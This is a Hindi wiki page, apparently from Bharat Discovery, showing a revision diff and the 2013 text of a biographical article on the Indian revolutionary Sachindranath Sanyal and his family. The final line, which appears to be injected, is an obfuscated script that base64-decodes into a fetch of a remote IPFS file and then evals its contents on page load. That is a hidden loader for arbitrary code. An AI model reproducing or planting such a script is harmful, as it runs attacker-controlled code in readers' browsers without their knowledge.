"शचीन्द्रनाथ सान्याल": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
(''''शचीन्द्रनाथ सान्याल''' (जन्म- 1893, बनारस, [[उत्तर प्र...' के साथ नया पन्ना बनाया)
 
No edit summary
पंक्ति 1: पंक्ति 1:
'''शचीन्द्रनाथ सान्याल''' (जन्म- [[1893]], [[बनारस]], [[उत्तर प्रदेश]], ब्रिटिश भारत; मृत्यु- [[7 फ़रवरी]], [[1942]]) [[भारत]] की आज़ादी के लिए संघर्ष करने वाले प्रसिद्ध क्रांतिकारी थे। वे राष्ट्रीय व क्रांतिकारी आंदोलनों में सक्रिय भागीदार होने के साथ ही क्रान्तिकारियों की नई पीढ़ी के प्रतिनिधि भी थे। इसके साथ ही वे 'गदर पार्टी' और 'अनुशीलन संगठन' के दूसरे स्वतंत्रता संघर्ष के प्रयासों के महान कार्यकर्ता और संगठनकर्ता थे। वर्ष [[1923]] में उनके द्वारा खड़े किए गये "हिन्दुस्तान रिपब्लिकन एसोसिएशन" को ही [[भगत सिंह]] एवं अन्य साथियों ने "हिन्दुस्तान समाजवादी प्रजातांत्रिक संघ" के रूप में विकसित किया। शचीन्द्रनाथ सान्याल को जीवन में दो बार 'काला पानी' की सज़ा मिली। उन्होंने 'हिन्दुस्तान रिपब्लिकन एसोसिएशन' के गठन के साथ ही देश बन्धुओं के नाम एक अपील जारी की थी, जिसमें उन्होंने [[भारत]] के पूर्ण स्वतंत्रता के लक्ष्य के साथ और सम्पूर्ण [[एशिया]] के महासंघ बनाने की परिकल्पना भी प्रस्तुत की थी।
'''शचीन्द्रनाथ सान्याल''' (जन्म- [[1893]], [[बनारस]], [[उत्तर प्रदेश]], ब्रिटिश भारत; मृत्यु- [[7 फ़रवरी]], [[1942]]) [[भारत]] की आज़ादी के लिए संघर्ष करने वाले प्रसिद्ध क्रांतिकारी थे। वे राष्ट्रीय व क्रांतिकारी आंदोलनों में सक्रिय भागीदार होने के साथ ही क्रान्तिकारियों की नई पीढ़ी के प्रतिनिधि भी थे। इसके साथ ही वे 'गदर पार्टी' और 'अनुशीलन संगठन' के दूसरे स्वतंत्रता संघर्ष के प्रयासों के महान कार्यकर्ता और संगठनकर्ता थे। वर्ष [[1923]] में उनके द्वारा खड़े किए गये "हिन्दुस्तान रिपब्लिकन एसोसिएशन" को ही [[भगत सिंह]] एवं अन्य साथियों ने "हिन्दुस्तान समाजवादी प्रजातांत्रिक संघ" के रूप में विकसित किया। शचीन्द्रनाथ सान्याल को जीवन में दो बार 'काला पानी' की सज़ा मिली। उन्होंने 'हिन्दुस्तान रिपब्लिकन एसोसिएशन' के गठन के साथ ही देश बन्धुओं के नाम एक अपील जारी की थी, जिसमें उन्होंने [[भारत]] के पूर्ण स्वतंत्रता के लक्ष्य के साथ और सम्पूर्ण [[एशिया]] के महासंघ बनाने की परिकल्पना भी प्रस्तुत की थी।
==जन्म तथा परिवार==
शचीन्द्रनाथ सान्याल का जन्म 1893 ई. में उत्तर प्रदेश के [[वाराणसी]] (आधुनिक बनारस) में हुआ था। इनके [[पिता]] का नाम हरिनाथ सान्याल तथा [[माता]] का नाम वासिनी देवी था। शचीन्द्रनाथ के अन्य भाइयों के नाम थे- रविन्द्र, जितेन्द्र और भूपेन्द्र। पिता हरिनाथ सान्याल ने अपने सभी पुत्रों को [[बंगाल (आज़ादी से पूर्व)|बंगाल]] की क्रांतिकारी संस्था 'अनुशीलन समिति' के कार्यों में भाग लेने के लिए प्रोत्साहित किया था। इसी का परिणाम था कि शचीन्द्रनाथ के बड़े भाई रविन्द्र सान्याल 'बनारस षड़यंत्र केस' में नजरबन्द रहे। छोटे भाई भूपेन्द्र सान्याल को '[[काकोरी काण्ड]]' में पाँच वर्ष क़ैद की सज़ा हुई और तीसरे भाई जितेन्द्र [[1929]] के 'लाहौर षड़यंत्र केस' में [[भगत सिंह]] आदि के साथ अभियुक्त थे।


{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
पंक्ति 9: पंक्ति 11:
[[Category:स्वतन्त्रता सेनानी]][[Category:औपनिवेशिक काल]][[Category:अंग्रेज़ी शासन]][[Category:इतिहास कोश]]
[[Category:स्वतन्त्रता सेनानी]][[Category:औपनिवेशिक काल]][[Category:अंग्रेज़ी शासन]][[Category:इतिहास कोश]]
__INDEX__
__INDEX__
__NOTOC__

07:00, 6 मार्च 2013 का अवतरण

शचीन्द्रनाथ सान्याल (जन्म- 1893, बनारस, उत्तर प्रदेश, ब्रिटिश भारत; मृत्यु- 7 फ़रवरी, 1942) भारत की आज़ादी के लिए संघर्ष करने वाले प्रसिद्ध क्रांतिकारी थे। वे राष्ट्रीय व क्रांतिकारी आंदोलनों में सक्रिय भागीदार होने के साथ ही क्रान्तिकारियों की नई पीढ़ी के प्रतिनिधि भी थे। इसके साथ ही वे 'गदर पार्टी' और 'अनुशीलन संगठन' के दूसरे स्वतंत्रता संघर्ष के प्रयासों के महान कार्यकर्ता और संगठनकर्ता थे। वर्ष 1923 में उनके द्वारा खड़े किए गये "हिन्दुस्तान रिपब्लिकन एसोसिएशन" को ही भगत सिंह एवं अन्य साथियों ने "हिन्दुस्तान समाजवादी प्रजातांत्रिक संघ" के रूप में विकसित किया। शचीन्द्रनाथ सान्याल को जीवन में दो बार 'काला पानी' की सज़ा मिली। उन्होंने 'हिन्दुस्तान रिपब्लिकन एसोसिएशन' के गठन के साथ ही देश बन्धुओं के नाम एक अपील जारी की थी, जिसमें उन्होंने भारत के पूर्ण स्वतंत्रता के लक्ष्य के साथ और सम्पूर्ण एशिया के महासंघ बनाने की परिकल्पना भी प्रस्तुत की थी।

जन्म तथा परिवार

शचीन्द्रनाथ सान्याल का जन्म 1893 ई. में उत्तर प्रदेश के वाराणसी (आधुनिक बनारस) में हुआ था। इनके पिता का नाम हरिनाथ सान्याल तथा माता का नाम वासिनी देवी था। शचीन्द्रनाथ के अन्य भाइयों के नाम थे- रविन्द्र, जितेन्द्र और भूपेन्द्र। पिता हरिनाथ सान्याल ने अपने सभी पुत्रों को बंगाल की क्रांतिकारी संस्था 'अनुशीलन समिति' के कार्यों में भाग लेने के लिए प्रोत्साहित किया था। इसी का परिणाम था कि शचीन्द्रनाथ के बड़े भाई रविन्द्र सान्याल 'बनारस षड़यंत्र केस' में नजरबन्द रहे। छोटे भाई भूपेन्द्र सान्याल को 'काकोरी काण्ड' में पाँच वर्ष क़ैद की सज़ा हुई और तीसरे भाई जितेन्द्र 1929 के 'लाहौर षड़यंत्र केस' में भगत सिंह आदि के साथ अभियुक्त थे।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>